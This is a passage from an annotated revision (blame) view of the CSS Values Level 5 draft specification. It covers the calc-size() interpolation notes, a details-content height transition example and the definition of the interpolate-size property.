<a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2328" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2668" id="l2668"> 2668</a> </td> <td class="source"> } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2329" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2669" id="l2669"> 2669</a> </td> <td class="source"> details[open]::details-content { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2330" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2670" id="l2670"> 2670</a> </td> <td class="source"> height: auto; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2331" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2671" id="l2671"> 2671</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2332" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2672" id="l2672"> 2672</a> </td> <td class="source"> details:not([open])::details-content { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2333" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2673" id="l2673"> 2673</a> </td> <td class="source"> height: calc-size(any, 0px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2334" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2674" id="l2674"> 2674</a> </td> <td class="source"> } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2335" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2675" id="l2675"> 2675</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2336" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2676" id="l2676"> 2676</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2337" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2677" id="l2677"> 2677</a> </td> <td class="source"> This will implicitly interpolate </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2338" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2678" id="l2678"> 2678</a> </td> <td class="source"> between ''calc-size(auto, size)'' and ''calc-size(any, 0px)''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2339" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2679" id="l2679"> 2679</a> </td> <td class="source"> Half a second after opening the <{details}>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2340" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2680" id="l2680"> 2680</a> </td> <td class="source"> the ::details-content wrapper's 'height' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2341" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2681" id="l2681"> 2681</a> </td> <td class="source"> will be ''calc-size(auto, size * .5)'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2342" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2682" id="l2682"> 2682</a> </td> <td class="source"> half its open size; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2343" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2683" id="l2683"> 2683</a> </td> <td class="source"> thruout the transition it'll smoothly animate its height. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2344" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2684" id="l2684"> 2684</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2345" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2685" id="l2685"> 2685</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2346" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2686" id="l2686"> 2686</a> </td> <td class="source"> Note: ''calc-size()'' is designed such that </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2347" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2687" id="l2687"> 2687</a> </td> <td class="source"> transitioning to/from ''calc-size(any, [=definite=] length)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2348" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2688" id="l2688"> 2688</a> </td> <td class="source"> will <em>always</em> work smoothly, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2349" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2689" id="l2689"> 2689</a> </td> <td class="source"> regardless of how the other side of the transition is specified. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2350" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2690" id="l2690"> 2690</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2351" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2691" id="l2691"> 2691</a> </td> <td class="source"> Note: This "upgrade a plain value into a ''calc-size()''" behavior </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2352" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2692" id="l2692"> 2692</a> </td> <td class="source"> puts <<length-percentage>> values into the [=calc-size calculation=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2353" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2693" id="l2693"> 2693</a> </td> <td class="source"> This allows values with percentages </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2354" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2694" id="l2694"> 2694</a> </td> <td class="source"> to interpolate with intrinsic size keywords, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2355" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2695" id="l2695"> 2695</a> </td> <td class="source"> but does mean that when a percentage isn't [=definite=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2356" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2696" id="l2696"> 2696</a> </td> <td class="source"> it'll resolve to zero. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2357" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2697" id="l2697"> 2697</a> </td> <td class="source"> If you want to resolve to the actual size the percentage would make the element, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2358" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2698" id="l2698"> 2698</a> </td> <td class="source"> explicitly write a ''calc-size()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2359" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2699" id="l2699"> 2699</a> </td> <td class="source"> with the value in its [=calc-size basis=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2360" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2700" id="l2700"> 2700</a> </td> <td class="source"> like ''calc-size(50%, size)''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f88df7f4512f/css-values-5/Overview.bs#l2096" title="f88df7f4512f: [css-values-5] Move calc-size basis canonicalization to only occur when interpolating. #10220">jackalmage@31487</a> </td> <td class="lineno"> <a href="#l2701" id="l2701"> 2701</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1747" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2702" id="l2702"> 2702</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/41e5d9ac149b/css-values-5/Overview.bs#l2056" title="41e5d9ac149b: [css-values-5] Add definition of interpolate-size property.">dbaron@31337</a> </td> <td class="lineno"> <a href="#l2703" id="l2703"> 2703</a> </td> <td class="source"><h3 id=interpolate-size> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/41e5d9ac149b/css-values-5/Overview.bs#l2057" title="41e5d9ac149b: [css-values-5] Add definition of interpolate-size property.">dbaron@31337</a> </td> <td class="lineno"> <a href="#l2704" id="l2704"> 2704</a> </td> <td class="source">Interpolating sizing keywords: the 'interpolate-size' property</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1748" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2705" id="l2705"> 2705</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2366" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2706" id="l2706"> 2706</a> </td> <td class="source"> Note: If we had a time machine, this property wouldn't need to exist. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2367" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2707" id="l2707"> 2707</a> </td> <td class="source"> It exists because many existing style sheets assume that </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2368" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2708" id="l2708"> 2708</a> </td> <td class="source"> intrinsic sizing keywords </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2369" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2709" id="l2709"> 2709</a> </td> <td class="source"> (such as ''width/auto'', ''width/min-content'', etc.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2370" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2710" id="l2710"> 2710</a> </td> <td class="source"> cannot animate. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2371" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2711" id="l2711"> 2711</a> </td> <td class="source"> Therefore this property exists to allow style sheets to choose </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2372" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2712" id="l2712"> 2712</a> </td> <td class="source"> to get the expected behavior. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2373" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2713" id="l2713"> 2713</a> </td> <td class="source"> Specifying ''interpolate-size: allow-keywords'' on the root element </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2374" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2714" id="l2714"> 2714</a> </td> <td class="source"> chooses the new behavior for the entire page. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2375" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2715" id="l2715"> 2715</a> </td> <td class="source"> We suggest doing this whenever compatibility isn't an issue. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2376" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2716" id="l2716"> 2716</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2377" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2717" id="l2717"> 2717</a> </td> <td class="source"> <pre class="propdef"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2378" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2718" id="l2718"> 2718</a> </td> <td class="source"> Name: interpolate-size </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2379" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2719" id="l2719"> 2719</a> </td> <td class="source"> Value: numeric-only | allow-keywords </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2380" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2720" id="l2720"> 2720</a> </td> <td class="source"> Initial: numeric-only </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2381" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2721" id="l2721"> 2721</a> </td> <td class="source"> Inherited: yes </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2382" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2722" id="l2722"> 2722</a> </td> <td class="source"> Applies to: all elements </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2383" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2723" id="l2723"> 2723</a> </td> <td class="source"> Computed value: as specified </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2384" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2724" id="l2724"> 2724</a> </td> <td class="source"> Animation type: not animatable </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2385" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2725" id="l2725"> 2725</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2386" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2726" id="l2726"> 2726</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2387" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2727" id="l2727"> 2727</a> </td> <td class="source"> <dl dfn-for="interpolate-size" dfn-type="value"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2388" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2728" id="l2728"> 2728</a> </td> <td class="source"> <dt><dfn>numeric-only</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2389" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2729" id="l2729"> 2729</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2390" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2730" id="l2730"> 2730</a> </td> <td class="source"> An <<intrinsic-size-keyword>> cannot be interpolated. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2391" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2731" id="l2731"> 2731</a> </td> <td class="source"> </dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2392" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2732" id="l2732"> 2732</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2393" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2733" id="l2733"> 2733</a> </td> <td class="source"> <dt><dfn>allow-keywords</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2394" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2734" id="l2734"> 2734</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/83baaed77e40/css-values-5/Overview.bs#l2699" title="83baaed77e40: [css-values-5] Make it clear that `allow-keywords` can't just interpolate with intrinsic sizes. (#11179)">60073468+Psychpsyo@31800</a> </td> <td class="lineno"> <a href="#l2735" id="l2735"> 2735</a> </td> <td class="source"> Two values can also be interpolated if </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2396" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2736" id="l2736"> 2736</a> </td> <td class="source"> one of them is an <<intrinsic-size-keyword>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2397" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2737" id="l2737"> 2737</a> </td> <td class="source"> and the other is a <<length-percentage>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2398" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2738" id="l2738"> 2738</a> </td> <td class="source"> This is done by treating </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2399" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2739" id="l2739"> 2739</a> </td> <td class="source"> the <<intrinsic-size-keyword>> <var>keyword</var> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2400" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2740" id="l2740"> 2740</a> </td> <td class="source"> as though it is ''calc-size(<var>keyword</var>, size)'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2401" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2741" id="l2741"> 2741</a> </td> <td class="source"> and applying the rules in [[#interp-calc-size]]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2402" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2742" id="l2742"> 2742</a> </td> <td class="source"> In other cases, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2403" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2743" id="l2743"> 2743</a> </td> <td class="source"> an <<intrinsic-size-keyword>> still cannot be interpolated. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2404" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2744" id="l2744"> 2744</a> </td> <td class="source"> </dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2405" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2745" id="l2745"> 2745</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2406" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2746" id="l2746"> 2746</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2407" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2747" id="l2747"> 2747</a> </td> <td class="source"> The value of 'interpolate-size' that matters </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2408" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2748" id="l2748"> 2748</a> </td> <td class="source"> is the computed value on the element </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2409" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2749" id="l2749"> 2749</a> </td> <td class="source"> at the time the animation might start. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2410" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2750" id="l2750"> 2750</a> </td> <td class="source"> For CSS transitions, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2411" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2751" id="l2751"> 2751</a> </td> <td class="source"> this means the value in the [=after-change style=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2412" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2752" id="l2752"> 2752</a> </td> <td class="source"> An animation is not stopped or started later </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2413" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2753" id="l2753"> 2753</a> </td> <td class="source"> because 'interpolate-size' changes. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1749" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2754" id="l2754"> 2754</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2604" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2755" id="l2755"> 2755</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2614" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2765" id="l2765"> 2765</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2615" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2766" id="l2766"> 2766</a> </td> <td class="source"><h2 id=arbitrary-substitution> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2616" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2767" id="l2767"> 2767</a> </td> <td class="source">Appendix A: Arbitrary Substitution Functions</h2> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2617" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2768" id="l2768"> 2768</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2618" title="b5ca6a7b54d3: 